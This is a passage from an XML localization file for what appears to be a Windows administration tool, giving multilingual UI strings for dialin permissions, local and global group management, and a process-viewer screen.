<ru>Группы</ru>
<ja>グループ</ja>
<zh>组</zh>
<ko>그룹</ko>
<en-gb>Groups</en-gb>
<hu>Csoportok</hu>
<pt-br>Grupos</pt-br>
<nl>Groepen</nl>
</msg>
<msg name="BTNDIALIN">
<en>Dialin</en>
<de>Einwählen</de>
<es>Marcado</es>
<fr>Appel entrant</fr>
<it>Chiamata in ingresso</it>
<ru>Набор номера</ru>
<ja>ダイヤルイン</ja>
<zh>拨入</zh>
<ko>전화 걸기</ko>
<en-gb>Dialin</en-gb>
<hu>Betárcsázás</hu>
<pt-br>Discando</pt-br>
<nl>Inbellen</nl>
</msg>
<msg name="EDITDIALIN">
<en>Dialin information for user "%NAME"</en>
<de>Einwahlinformation für den Benutzer "%NAME"</de>
<es>Información de marcado para "%NAME"</es>
<fr>Information de l'appel entrant de l'utilisateur "%NAME"</fr>
<it>Informazioni sulle chiamate in ingresso per l'utente "%NAME"</it>
<ru>Информации о наборе для пользователя "%NAME"</ru>
<ja>ユーザ "%NAME" のダイヤルイン情報</ja>
<zh>用户“%NAME”的拨入信息</zh>
<ko>"%NAME" 사용자에 대한 전화 걸기 정보</ko>
<en-gb>Dialin information for user "%NAME"</en-gb>
<hu>"%NAME" felhasználó betárcsázási információi</hu>
<pt-br>Informações de discagem para usuário "%NAME"</pt-br>
<nl>Inbelgegevens voor gebruiker "%NAME"</nl>
</msg>
<msg name="ALLOWDIALIN">
<en>Grant dialin permission to user</en>
<de>Dem Benutzer die Einwahlberechtigung erteilen</de>
<es>Asegurar permiso de marcado al usuario</es>
<fr>Acceptation de l'appel entrant de l'utilisateur</fr>
<it>Autorizza chiamate in ingresso per l'utente</it>
<ru>Предоставление пользователю разрешений для набора</ru>
<ja>ユーザにダイヤルイン許可を付与</ja>
<zh>授予用户拨入的权限</zh>
<ko>사용자에게 전화 걸기 권한 부여</ko>
<en-gb>Grant dialin permission to user</en-gb>
<hu>Betárcsázási engedélyek megadása a felhasználónak</hu>
<pt-br>Conceder permissão de discagem para o usuário</pt-br>
<nl>Gebruiker toestemming tot inbellen geven</nl>
</msg>
<msg name="CALLBACK">
<en>Call back</en>
<de>Rückruf</de>
<es>Rellamada</es>
<fr>Rappeller (call-back)</fr>
<it>Richiamata</it>
<ru>Ответный вызов</ru>
<ja>コールバック</ja>
<zh>回拨</zh>
<ko>콜백</ko>
<en-gb>Call back</en-gb>
<hu>Visszahívás</hu>
<pt-br>Retornar a ligação</pt-br>
<nl>Terugbellen</nl>
</msg>
<msg name="CALLBACKNO">
<en>No call back</en>
<de>Kein Rückruf</de>
<es>Sin rellamada</es>
<fr>Ne pas rappeller</fr>
<it>Nessuna richiamata</it>
<ru>Нет ответного вызова</ru>
<ja>コールバックなし</ja>
<zh>不回拨</zh>
<ko>콜백 없음</ko>
<en-gb>No call back</en-gb>
<hu>Nincs visszahívás</hu>
<pt-br>Sem retorno de ligação</pt-br>
<nl>Niet terugbellen</nl>
</msg>
<msg name="CALLBACKBYCALLER">
<en>Set by caller</en>
<de>Setzen durch Anrufer</de>
<es>Establecido por el llamante</es>
<fr>Imposé par l'appellant</fr>
<it>Impostata dal chiamante</it>
<ru>Установлено вызывающей стороной</ru>
<ja>呼び出し側による設定</ja>
<zh>由呼叫方设置</zh>
<ko>전화 건 사람이 설정</ko>
<en-gb>Set by caller</en-gb>
<hu>Hívó által beállítva</hu>
<pt-br>Definir por chamador</pt-br>
<nl>Ingesteld door beller</nl>
</msg>
<msg name="CALLBACKPRESET">
<en>Preset</en>
<de>Vorbelegen</de>
<es>Prestablecer</es>
<fr>Préfixe</fr>
<it>Preimpostata</it>
<ru>Предварительно установить</ru>
<ja>事前設定</ja>
<zh>预设</zh>
<ko>미리 설정</ko>
<en-gb>Preset</en-gb>
<hu>Előre megadott beállítás</hu>
<pt-br>Predefinir</pt-br>
<nl>Vooraf ingesteld</nl>
</msg>
<msg name="CALLBACKNUMBERPRESET">
<en>Phone number preset to</en>
<de>Telefonnummer vorbelegt auf</de>
<es>Preestablecer número de teléfono en</es>
<fr>Préfixe du numéro de téléphone de</fr>
<it>Numero telefonico preimpostato su</it>
<ru>Предустановленный номер телефона:</ru>
<ja>事前設定された電話番号</ja>
<zh>电话号码预设为</zh>
<ko>전화 번호 미리 설정</ko>
<en-gb>Phone number preset to</en-gb>
<hu>Előre megadott telefonszám-beállítás</hu>
<pt-br>Número de telefone predefinido como</pt-br>
<nl>Telefoonnummer vooraf ingesteld op</nl>
</msg>
<msg name="RENAME">
<en>Rename user "%REQ.NAME"</en>
<de>Benutzer "%REQ.NAME" umbenennen</de>
<es>Cambiar nombre del usuario "%REQ.NAME"</es>
<fr>Renommer l'utilisateur "%REQ.NAME"</fr>
<it>Rinomina utente "%REQ.NAME"</it>
<ru>Переименовать пользователя "%REQ.NAME"</ru>
<ja>ユーザ "%REQ.NAME" の名前を変更</ja>
<zh>重命名用户“%REQ.NAME”</zh>
<ko>"%REQ.NAME" 사용자 이름 바꾸기</ko>
<en-gb>Rename user "%REQ.NAME"</en-gb>
<hu>"%REQ.NAME" felhasználó átnevezése</hu>
<pt-br>Renomear usuário "%NAME"</pt-br>
<nl>Naam wijzigen van gebruiker "%REQ.NAME"</nl>
</msg>
<msg name="RENAMED">
<en>User renamed.</en>
<de>Benutzer wurde umbenannt.</de>
<es>Nombre de usuario modificado.</es>
<fr>Utilisateur renommé.</fr>
<it>L'utente è stato rinominato.</it>
<ru>Пользователь переименован.</ru>
<ja>ユーザ名は変更されました。</ja>
<zh>已重命名用户。</zh>
<ko>사용자 이름을 바꾸었습니다.</ko>
<en-gb>User renamed.</en-gb>
<hu>Felhasználó átnevezve.</hu>
<pt-br>Usuário renomeado.</pt-br>
<nl>De naam van de gebruiker is gewijzigd.</nl>
</msg>
<msg name="GENERAL">
<en>General</en>
<de>Allgemein</de>
<es>General</es>
<fr>Généralités</fr>
<it>Generale</it>
<ru>Общие</ru>
<ja>全般</ja>
<zh>常规</zh>
<ko>일반</ko>
<en-gb>General</en-gb>
<hu>Általános</hu>
<pt-br>Geral</pt-br>
<nl>Algemeen</nl>
</msg>
<msg name="PROFILE">
<en>Profile</en>
<de>Profile</de>
<es>Perfiles</es>
<fr>Profils</fr>
<it>Profili</it>
<ru>Профили</ru>
<ja>プロファイル</ja>
<zh>配置文件</zh>
<ko>프로필</ko>
<en-gb>Profiles</en-gb>
<hu>Profilok</hu>
<pt-br>Perfis</pt-br>
<nl>Profiel</nl>
</msg>
<msg name="INFO">
<en>Info</en>
<de>Info</de>
<es>Info</es>
<fr>Info</fr>
<it>Informazioni</it>
<ru>Информация</ru>
<ja>情報</ja>
<zh>信息</zh>
<ko>정보</ko>
<en-gb>Info</en-gb>
<hu>Információ</hu>
<pt-br>Informações</pt-br>
<nl>Info</nl>
</msg>
</cat>
<cat name="GROUP">
<msg name="LOCAL">
<en>local</en>
<de>lokal</de>
<es>local</es>
<fr>local</fr>
<it>locale</it>
<ru>локальная</ru>
<ja>ローカル</ja>
<zh>本地</zh>
<ko>로컬</ko>
<en-gb>local</en-gb>
<hu>helyi</hu>
<pt-br>local</pt-br>
<nl>lokaal</nl>
</msg>
<msg name="GLOBAL">
<en>global</en>
<de>global</de>
<es>global</es>
<fr>global</fr>
<it>globale</it>
<ru>глобальная</ru>
<ja>グローバル</ja>
<zh>全局</zh>
<ko>글로벌</ko>
<en-gb>global</en-gb>
<hu>globális</hu>
<pt-br>global</pt-br>
<nl>globaal</nl>
</msg>
<msg name="BTNADD.LOCAL">
<en>Add group</en>
<de>Gruppe hinzufügen</de>
<es>Agregar grupo</es>
<fr>Ajouter un groupe</fr>
<it>Aggiungi gruppo</it>
<ru>Добавить группу</ru>
<ja>グループを追加</ja>
<zh>添加组</zh>
<ko>그룹 추가</ko>
<en-gb>Add group</en-gb>
<hu>Csoport hozzáadása</hu>
<pt-br>Adicionar grupo</pt-br>
<nl>Groep toevoegen</nl>
</msg>
<msg name="BTNADD.GLOBAL">
<en>Add global group</en>
<de>Globale Gruppe hinzufügen</de>
<es>Agregar grupo global</es>
<fr>Ajouter un groupe global</fr>
<it>Aggiungi gruppo globale</it>
<ru>Добавить глобальную группу</ru>
<ja>グローバル グループを追加</ja>
<zh>添加全局组</zh>
<ko>글로벌 그룹 추가</ko>
<en-gb>Add global group</en-gb>
<hu>Globális csoport hozzáadása</hu>
<pt-br>Adicionar grupo global</pt-br>
<nl>Globale groep toevoegen</nl>
</msg>
<msg name="NAME">
<en>Group name</en>
<de>Gruppenname</de>
<es>Nombre de grupo</es>
<fr>Nom de groupe</fr>
<it>Nome gruppo</it>
<ru>Имя группы</ru>
<ja>グループ名</ja>
<zh>组名</zh>
<ko>그룹 이름</ko>
<en-gb>Group name</en-gb>
<hu>Csoportnév</hu>
<pt-br>Nome do grupo</pt-br>
<nl>Groepsnaam</nl>
</msg>
<msg name="COMMENT">
<en>Description</en>
<de>Beschreibung</de>
<es>Descripción</es>
<fr>Description</fr>
<it>Descrizione</it>
<ru>Описание</ru>
<ja>説明</ja>
<zh>说明</zh>
<ko>설명</ko>
<en-gb>Description</en-gb>
<hu>Leírás</hu>
<pt-br>Descrição</pt-br>
<nl>Beschrijving</nl>
</msg>
<msg name="MEMBERS">
<en>Members</en>
<de>Mitglieder</de>
<es>Miembros</es>
<fr>Membres</fr>
<it>Membri</it>
<ru>Члены</ru>
<ja>メンバー</ja>
<zh>成员</zh>
<ko>구성원</ko>
<en-gb>Members</en-gb>
<hu>Tagok</hu>
<pt-br>Membros</pt-br>
<nl>Leden</nl>
</msg>
<msg name="NONMEMBERS">
<en>Non-members</en>
<de>Nicht-Mitglieder</de>
<es>No miembros</es>
<fr>Non membres</fr>
<it>Non membri</it>
<ru>Не члены</ru>
<ja>非メンバー</ja>
<zh>非成员</zh>
<ko>구성원이 아님</ko>
<en-gb>Non-members</en-gb>
<hu>Nem tagok</hu>
<pt-br>Não membros</pt-br>
<nl>Niet-leden</nl>
</msg>
<msg name="ADDFAIL">
<en>Failed to create new group.</en>
<de>Die Gruppen konnte nicht erstellt werden.</de>
<es>Error al crear nuevo grupo.</es>
<fr>Echec de création du nouveau groupe</fr>
<it>Creazione del nuovo gruppo non riuscita.</it>
<ru>Не удалось создать новую группу.</ru>
<ja>新しいグループの作成に失敗しました。</ja>
<zh>创建新组失败。</zh>
<ko>새 그룹을 만들지 못했습니다.</ko>
<en-gb>Failed to create new group.</en-gb>
<hu>Nem sikerült létrehozni az új csoportot.</hu>
<pt-br>Falha ao criar novo grupo.</pt-br>
<nl>De nieuwe groep kon niet worden gemaakt.</nl>
</msg>
<msg name="UPDATED">
<en>Group updated.</en>
<de>Die Gruppe wurde aktualisiert.</de>
<es>Grupo actualizado.</es>
<fr>Groupe mis à jour</fr>
<it>Il gruppo stato aggiornato.</it>
<ru>Группа обновлена.</ru>
<ja>グループは更新されました。</ja>
<zh>已更新组。</zh>
<ko>그룹을 업데이트했습니다.</ko>
<en-gb>Group updated.</en-gb>
<hu>Csoport frissítve.</hu>
<pt-br>Grupo atualizado.</pt-br>
<nl>De groep is bijgewerkt.</nl>
</msg>
<msg name="UPDATEFAIL">
<en>Failed to update group.</en>
<de>Die Gruppe konnte nicht aktualisiert werden.</de>
<es>Error al actualizar grupo.</es>
<fr>Echec de mise à jour du groupe.</fr>
<it>Aggiornamento del gruppo non riuscito.</it>
<ru>Не удалось обновить группу.</ru>
<ja>グループの更新に失敗しました。</ja>
<zh>更新组失败。</zh>
<ko>그룹을 업데이트하지 못했습니다.</ko>
<en-gb>Failed to update group.</en-gb>
<hu>Nem sikerült frissíteni a csoportot.</hu>
<pt-br>Falha ao atualizar grupo.</pt-br>
<nl>De groep kon niet worden bijgewerkt.</nl>
</msg>
<msg name="RENAME.LOCAL">
<en>Rename local group "%REQ.NAME"</en>
<de>Lokale Gruppe "%REQ.NAME" umbenennen</de>
<es>Cambiar nombre del grupo local "%REQ.NAME"</es>
<fr>Renommer le groupe local "%REQ.NAME"</fr>
<it>Rinomina gruppo locale "%REQ.NAME"</it>
<ru>Переименовать локальную группу "%REQ.NAME"</ru>
<ja>ローカル グループ "%REQ.NAME" の名前を変更する</ja>
<zh>重命名本地组“%REQ.NAME”</zh>
<ko>로컬 그룹 "%REQ.NAME" 이름 바꾸기</ko>
<en-gb>Rename local group "%REQ.NAME"</en-gb>
<hu>"%REQ.NAME" helyi csoport átnevezése</hu>
<pt-br>Renomear grupo local "%REQ.NAME"</pt-br>
<nl>Naam wijzigen van lokale groep "%REQ.NAME"</nl>
</msg>
<msg name="RENAME.GLOBAL">
<en>Rename global group "%REQ.NAME"</en>
<de>Globale Gruppe "%REQ.NAME" umbenennen</de>
<es>Cambiar nombre del grupo global "%REQ.NAME"</es>
<fr>Renommer le groupe global "%REQ.NAME"</fr>
<it>Rinomina gruppo globale "%REQ.NAME"</it>
<ru>Переименовать глобальную группу "%REQ.NAME"</ru>
<ja>グローバル グループ "%REQ.NAME" の名前を変更する</ja>
<zh>重命名全局组“%REQ.NAME”</zh>
<ko>글로벌 그룹 "%REQ.NAME" 이름 바꾸기</ko>
<en-gb>Rename global group "%REQ.NAME"</en-gb>
<hu>"%REQ.NAME" globális csoport átnevezése</hu>
<pt-br>Renomear grupo global "%REQ.NAME"</pt-br>
<nl>Naam wijzigen van globale groep "%REQ.NAME"</nl>
</msg>
<msg name="RENAMED">
<en>Group renamed.</en>
<de>Die Gruppe wurde umbenannt.</de>
<es>Nombre de grupo modificado.</es>
<fr>Groupe renommé.</fr>
<it>Il gruppo è stato rinominato.</it>
<ru>Группа переименована.</ru>
<ja>グループ名は変更されました。</ja>
<zh>已重命名组。</zh>
<ko>그룹 이름을 바꾸었습니다.</ko>
<en-gb>Group renamed.</en-gb>
<hu>Csoport átnevezve.</hu>
<pt-br>Grupo renomeado.</pt-br>
<nl>De naam van de groep is gewijzigd.</nl>
</msg>
<msg name="DELETED">
<en>Group "%REQ.NAME" deleted successfully.</en>
<de>Gruppe "%REQ.NAME" erfolgreich gelöscht</de>
<es>Grupo "%REQ.NAME" eliminado correctamente.</es>
<fr>Groupe "%REQ.NAME" supprimé avec succès.</fr>
<it>Il gruppo "%REQ.NAME" è stato eliminato.</it>
<ru>Группа "%REQ.NAME" успешно удалена.</ru>
<ja>グループ "%REQ.NAME" の削除に成功しました。</ja>
<zh>已成功删除组“%REQ.NAME”。</zh>
<ko>"%REQ.NAME" 그룹을 삭제했습니다.</ko>
<en-gb>Group "%REQ.NAME" deleted successfully.</en-gb>
<hu>A "%REQ.NAME" csoport sikeresen törölve.</hu>
<pt-br>Grupo "%REQ.NAME" excluído com êxito.</pt-br>
<nl>De groep "%REQ.NAME" is verwijderd.</nl>
</msg>
<msg name="DELFAIL">
<en>Failed to delete group.</en>
<de>Die Gruppe konnte nicht gelöscht werden.</de>
<es>Error al eliminar grupo.</es>
<fr>Echec de suppression du groupe.</fr>
<it>Eliminazione del gruppo non riuscita.</it>
<ru>Не удалось удалить группу.</ru>
<ja>グループの削除に失敗しました。</ja>
<zh>删除组失败。</zh>
<ko>그룹을 삭제하지 못했습니다.</ko>
<en-gb>Failed to delete group.</en-gb>
<hu>Nem sikerült törölni a csoportot.</hu>
<pt-br>Falha ao excluir grupo.</pt-br>
<nl>De groep kon niet worden verwijderd.</nl>
</msg>
<cat name="MTYPE">
<msg name="x">
<en>Account unknown</en>
<de>Unbekanntes Konto</de>
<es>Cuenta desconocida</es>
<fr>Compte inconnu</fr>
<it>Account sconosciuto</it>
<ru>Неизвестная учетная запись</ru>
<ja>不明なアカウント</ja>
<zh>未知帐户</zh>
<ko>알 수 없는 계정</ko>
<en-gb>Account unknown</en-gb>
<hu>Ismeretlen felhasználói fiók</hu>
<pt-br>Conta desconhecida</pt-br>
<nl>Onbekende account</nl>
</msg>
<msg name="u">
<en>User</en>
<de>Benutzer</de>
<es>Usuario</es>
<fr>Utilisateur</fr>
<it>Utente</it>
<ru>Пользователь</ru>
<ja>ユーザ</ja>
<zh>用户</zh>
<ko>사용자</ko>
<en-gb>User</en-gb>
<hu>Felhasználó</hu>
<pt-br>Usuário</pt-br>
<nl>Gebruiker</nl>
</msg>
<msg name="l">
<en>Local Group</en>
<de>Lokale Gruppe</de>
<es>Grupo local</es>
<fr>Groupe local</fr>
<it>Gruppo locale</it>
<ru>Локальная группа</ru>
<ja>ローカル グループ</ja>
<zh>本地组</zh>
<ko>로컬 그룹</ko>
<en-gb>Local Group</en-gb>
<hu>Helyi csoport</hu>
<pt-br>Grupo local</pt-br>
<nl>Lokale groep</nl>
</msg>
<msg name="g">
<en>Global Group</en>
<de>Globale Gruppe</de>
<es>Grupo global</es>
<fr>Groupe global</fr>
<it>Gruppo globale</it>
<ru>Глобальная группа</ru>
<ja>グローバル グループ</ja>
<zh>全局组</zh>
<ko>글로벌 그룹</ko>
<en-gb>Global Group</en-gb>
<hu>Globális csoportok</hu>
<pt-br>Grupo global</pt-br>
<nl>Globale groep</nl>
</msg>
</cat>
</cat>
</cat>
<!-- "processes" screen messages -->
<cat name="PROCESS">
<msg name="TITLE">
<en>Processes</en>
<de>Prozesse</de>
<es>Procesos</es>
<fr>Processus</fr>
<it>Processi</it>
<ru>Процессы</ru>
<ja>プロセス</ja>
<zh>进程</zh>
<ko>프로세스</ko>
<en-gb>Processes</en-gb>
<hu>Folyamatok</hu>
<pt-br>Processos</pt-br>
<nl>Processen</nl>
</msg>
<msg name="PID">
<en>PID</en>
<de>PID</de>
<es>PID</es>
<fr>PID</fr>
<it>PID</it>
<ru>PID</ru>
<ja>PID</ja>
<zh>PID</zh>
<ko>PID</ko>
<en-gb>PID</en-gb>
<hu>PID</hu>
<pt-br>PID</pt-br>
<nl>PID</nl>
</msg>
<msg name="PIDLONG">
<en>Process ID</en>
<de>Prozess-ID</de>
<es>ID de proceso</es>
<fr>ID de Processus</fr>
<it>ID processo</it>
<ru>Идентификатор процесса</ru>
<ja>プロセス ID</ja>
<zh>进程 ID</zh>
<ko>프로세스 ID</ko>
<en-gb>Process ID</en-gb>
<hu>Folyamat-azonosító</hu>
<pt-br>ID de processo</pt-br>
<nl>Proces-ID</nl>
</msg>
<msg name="CPUP">
<en>CPU% </en>
<de>CPU%</de>
<es>CPU%</es>
<fr>CPU%</fr>
<it>CPU%</it>
<ru>CPU%</ru>
<ja>CPU%</ja>
<zh>CPU%</zh>
<ko>CPU%</ko>
<en-gb>CPU%</en-gb>
<hu>CPU%</hu>
<pt-br>% de CPU</pt-br>
<nl>CPU%</nl>
</msg>
<msg name="PRIOR">
<en>Priority</en>
<de>Priorität</de>
<es>Prioridad</es>
<fr>Priorité</fr>
<it>Priorità</it>
<ru>Приоритет</ru>
<ja>優先順位</ja>
<zh>优先级</zh>
<ko>우선 순위</ko>
<en-gb>Priority</en-gb>
<hu>Prioritás</hu>
<pt-br>Prioridade</pt-br>
<nl>Prioriteit</nl>
</msg>
<msg name="PRIORCLASS">
<en>Priority class</en>
<de>Prioritätsklasse</de>
<es>Clase de prioridad</es>
<fr>Classe de Priorité</fr>
<it>Classe di priorità</it>
<ru>Класс приоритета</ru>
<ja>優先順位クラス</ja>
<zh>优先级类</zh>
<ko>우선 순위 클래스</ko>
<en-gb>Priority class</en-gb>
<hu>Prioritási osztály</hu>
<pt-br>Classe de prioridade</pt-br>
<nl>Prioriteitsklasse</nl>
</msg>
<msg name="ACCOUNT">
<en>User account</en>
<de>Benutzerkonto</de>
<es>Cuenta de usuario</es>
<fr>Compte utilisateur</fr>
<it>Account utente</it>
<ru>Учетная запись пользователя</ru>
<ja>ユーザ アカウント</ja>
<zh>用户帐户</zh>
<ko>사용자 계정</ko>
<en-gb>User account</en-gb>
<hu>Felhasználói fiók</hu>
<pt-br>Conta do usuário</pt-br>
<nl>Gebruikersaccount</nl>
</msg>
<msg name="WINDOW">
<en>Window title</en>
<de>Fenstertitel</de>
<es>Título de la ventana</es>
<fr>Titre de la fenêtre</fr>
<it>Titolo finestra</it>
<ru>Заголовок окна</ru>
<ja>ウィンドウ タイトル</ja>
<zh>窗口标题</zh>
<ko>창 제목</ko>
<en-gb>Window title</en-gb>
<hu>Ablak neve</hu>
<pt-br>Título da janela</pt-br>
<nl>Titel van venster</nl>
</msg>
<msg name="PARENTID">
<en>Parent PID</en>
<de>Eltern-PID</de>
<es>PID padre</es>
<fr>Parent PID</fr>
<it>PID principale</it>
<ru>PID родительского процесса</ru>
<ja>親 PID</ja>
<zh>父 PID</zh>
<ko>부모 PID</ko>
<en-gb>Parent PID</en-gb>
<hu>Szülő PID</hu>
<pt-br>PID pai</pt-br>
<nl>Bovenliggende PID</nl>
</msg>
<msg name="PARENT">
<en>Parent name</en>
<de>Elternname</de>
<es>Nombre padre</es>
<fr>Nom du parent</fr>
<it>Nome principale</it>
<ru>Имя родительского процесса</ru>
<ja>親の名前</ja>
<zh>父名</zh>
<ko>부모 이름</ko>
<en-gb>Parent name</en-gb>
<hu>Szülő neve</hu>
<pt-br>Nome do pai</pt-br>
<nl>Naam van bovenliggend item</nl>
</msg>
<msg name="MEM">
<en>Memory</en>
<de>Speicher</de>
<es>Memoria</es>
<fr>Mémoire</fr>
<it>Memoria</it>
<ru>Память</ru>
<ja>メモリ</ja>
<zh>内存</zh>
<ko>메모리</ko>
<en-gb>Memory</en-gb>
<hu>Memória</hu>
<pt-br>Memória</pt-br>
<nl>Geheugen</nl>
</msg>
<msg name="PHYSMEM">
<en>Mem Usage</en>
<de>RAM-Nutz.</de>
<es>Uso mem.</es>
<fr>Util. mém.</fr>
<it>Utilizzo mem</it>
<ru>Испол. ОЗУ</ru>
<ja>メモリ使用量</ja>
<zh>内存使用率</zh>
<ko>메모 리사용</ko>
<en-gb>Mem Usage</en-gb>
<hu>Mem.haszn.</hu>
<pt-br>Uso mem.</pt-br>
<nl>Gebr. Geh.</nl>
</msg>
<msg name="VIRTMEM">
<en>VM Size</en>
<de>VM-Grö.</de>
<es>Tam. VM</es>
<fr>Taille VM</fr>
<it>Dim. MV</it>
<ru>Вирт. пам.</ru>
<ja>VM サイズ</ja>
<zh>VM 大小</zh>
<ko>VM 크 기</ko>
<en-gb>VM Size</en-gb>
<hu>VM mér.</hu>
<pt-br>Tam. VM</pt-br>
<nl>VM Size</nl>
</msg>
<msg name="MEMP">
<en>Mem%</en>
<de>Speicher %</de>
<es>Mem%</es>
<fr>Mem%</fr>
<it>Mem%</it>
<ru>Mem%</ru>
<ja>メモリ使用率</ja>
<zh>内存 %</zh>
<ko>Mem%</ko>
<en-gb>Mem%</en-gb>
<hu>Mem%</hu>
<pt-br>% de Mem.</pt-br>
<nl>Geh%</nl>
</msg>
<msg name="HANDLES">
<en>Handle count</en>
<de>Anzahl Handles</de>
<es>Conteo comunicador</es>
<fr>Handle count</fr>
<it>Conteggio degli handle</it>
<ru>Счетчик дескрипторов</ru>
<ja>ハンドル数</ja>
<zh>句柄计数</zh>
<ko>핸들 카운트</ko>
<en-gb>Handle count</en-gb>
<hu>Leírók száma</hu>
<pt-br>Contagem de identificadores</pt-br>
<nl>Aantal ingangen</nl>
</msg>
<msg name="THREADS">
<en>Threads</en>
<de>Threads</de>
<es>Threads</es>
<fr>Threads</fr>
<it>Thread</it>
<ru>Потоки</ru>
<ja>スレッド</ja>
<zh>线程</zh>
<ko>스레드</ko>
<en-gb>Threads</en-gb>
<hu>Szálak</hu>
<pt-br>Segmentos</pt-br>
<nl>Threads</nl>
</msg>
<msg name="PFAULTS">
<en>Page fault count</en>
<de>Anzahl der Seitenfehler</de>
<es>Conteo errores de página</es>
<fr>Page fault count</fr>
<it>Conteggio errato delle pagine</it>
<ru>Счетчик ошибок страниц</ru>
<ja>ページの失敗数</ja>
<zh>页面错误计数</zh>
<ko>페이지 없음 오류 개수</ko>
<en-gb>Page fault count</en-gb>
<hu>Oldalhibák száma</hu>
<pt-br>Contagem de falhas na página</pt-br>
<nl>Aantal paginafouten</nl>
</msg>
<msg name="PEAKWKSET">
<en>Peak working set size</en>
<de>Maximal erreichte Größe des Arbeitsbereichs</de>
<es>Tamaño del conjunto de trabajo (working set) máximo</es>
<fr>Taille maximale de l'espace de travail</fr>
<it>Picco dimensioni working set</it>
<ru>Размер рабочего множества (пик)</ru>
<ja>ピーク時のワーキング セット サイズ</ja>
<zh>工作集大小峰值</zh>
<ko>최대 작업 세트 크기</ko>
<en-gb>Peak working set size</en-gb>
<hu>Munkakészlet maximális mérete</hu>
<pt-br>Tamanho máximo de conjunto de trabalho</pt-br>
<nl>Piekgrootte van de werkset</nl>
</msg>
<msg name="WKSET">
<en>Working set size</en>
<de>Arbeitsbereichsgröße</de>
<es>Tamaño del conjunto de trabajo (working set)</es>
<fr>Taille de l'espace de travail</fr>
<it>Dimensioni working set</it>
<ru>Размер рабочего множества</ru>
<ja>ワーキング セット サイズ</ja>
<zh>工作集大小</zh>
<ko>작업 세트 크기</ko>
<en-gb>Working set size</en-gb>
<hu>Munkakészlet mérete</hu>
<pt-br>Tamanho do conjunto de trabalho</pt-br>
<nl>Grootte van de werkset</nl>
</msg>
<msg name="PEAKMEM">
<en>Peak page file usage</en>
<de>Maximal erreichte Größe der Auslagerungsdatei</de>
<es>Uso del archivo de intercambio máximo</es>
<fr>Utilisation maximale du fichier d'échange</fr>
<it>Utilizzo massimo del file di paging</it>
<ru>Использование файла подкачки (пик)</ru>
<ja>ピーク時のページ ファイル使用量</ja>
<zh>页面文件使用情况峰值</zh>
<ko>최대 페이지 파일 사용</ko>
<en-gb>Peak page file usage</en-gb>
<hu>Lapozófájl csúcsszintű használata</hu>
<pt-br>Utilização máxima do arquivo da página</pt-br>
<nl>Piekgebruik van wisselbestand</nl>
</msg>
<msg name="PAGEFILE">
<en>Page file usage</en>
<de>Nutzung der Auslagerungsdatei</de>
<es>Uso del archivo de intercambio</es>
<fr>Utilisation du fichier d'échange (page file)</fr>
<it>Utilizzo file di paging</it>
<ru>Использование файла подкачки</ru>
<ja>ページ ファイル使用量</ja>
<zh>页面文件使用情况</zh>
<ko>페이지 파일 사용</ko>
<en-gb>Page file usage</en-gb>
<hu>Lapozófájl használat</hu>
<pt-br>Utilização do arquivo da página</pt-br>
<nl>Gebruik van wisselbestand</nl>
</msg>
<msg name="TOTALMEM">
<en>Total memory usage</en>
<de>Gesamte Speichernutzung</de>
<es>Uso total de la memoria</es>
<fr>Mémoire totale utilisée</fr>
<it>Utilizzo della memoria totale</it>
<ru>Использование общего объема памяти</ru>
<ja>使用メモリの合計</ja>
<zh>总内存使用情况</zh>
<ko>전체 메모리 사용</ko>
<en-gb>Total memory usage</en-gb>
<hu>Teljes memóriahasználat</hu>
<pt-br>Utilização total da memória</pt-br>
<nl>Totaal geheugengebruik</nl>
</msg>
<msg name="TIMEC">
<en>Time created</en>
<de>Startzeit</de>
<es>Hora de creación</es>
<fr>Temps créé</fr>
<it>Data e ora di creazione</it>
<ru>Время создания</ru>
<ja>作成時刻</ja>
<zh>创建时间</zh>
<ko>만든 시간</ko>
<en-gb>Time created</en-gb>
<hu>Létrehozási idő</hu>
<pt-br>Tempo de criação</pt-br>
<nl>Gemaakt om</nl>
</msg>
<msg name="TIME">
<en>CPU time</en>
<de>CPU Zeit</de>
<es>Hora CPU</es>
<fr>Temps CPU</fr>
<it>Tempo CPU</it>
<ru>Время ЦП</ru>
<ja>CPU 時間</ja>
<zh>CPU 时间</zh>
<ko>CPU 시간</ko>
<en-gb>CPU time</en-gb>
<hu>Processzoridő</hu>
<pt-br>Tempo de CPU</pt-br>
<nl>CPU-tijd</nl>
</msg>
<msg name="TIMEK">
<en>Kernel time</en>
<de>Kernelzeit</de>
<es>Hora del núcleo</es>
<fr>Temps du kernel (noyau)</fr>
<it>Tempo kernel</it>
<ru>Время ядра</ru>
<ja>カーネル時間</ja>
<zh>内核时间</zh>
<ko>커널 시간</ko>
<en-gb>Kernel time</en-gb>
<hu>Rendszerhéj-idő</hu>
<pt-br>Tempo do kernel</pt-br>
<nl>Kerneltijd</nl>
</msg>
<msg name="TIMEU">
<en>User time</en>
<de>Benutzerzeit</de>
<es>Hora usuario</es>
<fr>Temps utilisateur</fr>
<it>Tempo utente</it>
<ru>Время пользователя</ru>
<ja>ユーザ時間</ja>
<zh>用户时间</zh>
<ko>사용자 시간</ko>
<en-gb>User time</en-gb>
<hu>Felhasználói módú használat</hu>
<pt-br>Tempo do usuário</pt-br>
<nl>Tijd in gebruikersmodus</nl>
</msg>
<msg name="COMMAND">
<en>Command line</en>
<de>Kommandozeile</de>
<es>Línea de comandos</es>
<fr>Ligne de commande</fr>
<it>Riga di comando</it>
<ru>Командная строка</ru>
<ja>コマンド ライン</ja>
<zh>命令行</zh>
<ko>명령줄</ko>
<en-gb>Command line</en-gb>
<hu>Parancssor</hu>
<pt-br>Linha de comando</pt-br>
<nl>Opdrachtregel</nl>
</msg>
<msg name="HIERARCHY">
<en>Hierarchy</en>
<de>Hierarchie</de>
<es>Jerarquía</es>
<fr>Hiérarchie</fr>
<it>Gerarchia</it>
<ru>Иерархия</ru>
<ja>階層</ja>
<zh>层次结构</zh>
<ko>계층 구조</ko>
<en-gb>Hierarchy</en-gb>
<hu>Hierarchia</hu>
<pt-br>Hierarquia</pt-br>
<nl>Hiërarchie</nl>
</msg>
<msg name="EXECUTABLE">
<en>Executable</en>
<es>Ejecutable</es>
<fr>Exécutable</fr>
<de>Ausführbare Datei</de>
<it>Eseguibile</it>
<ru>Исполняемый</ru>
<ja>実行可能</ja>
<zh>可执行文件</zh>
<ko>실행 파일</ko>
<en-gb>Executable</en-gb>
<hu>Végrehajtható</hu>
<pt-br>Executável</pt-br>
<nl>Uitvoerbaar</nl>
</msg>
<msg name="MODULE">
<en>Module</en>
<de>Modul</de>
<es>Módulo</es>
<fr>Module</fr>
<it>Modulo</it>
<ru>Модуль</ru>
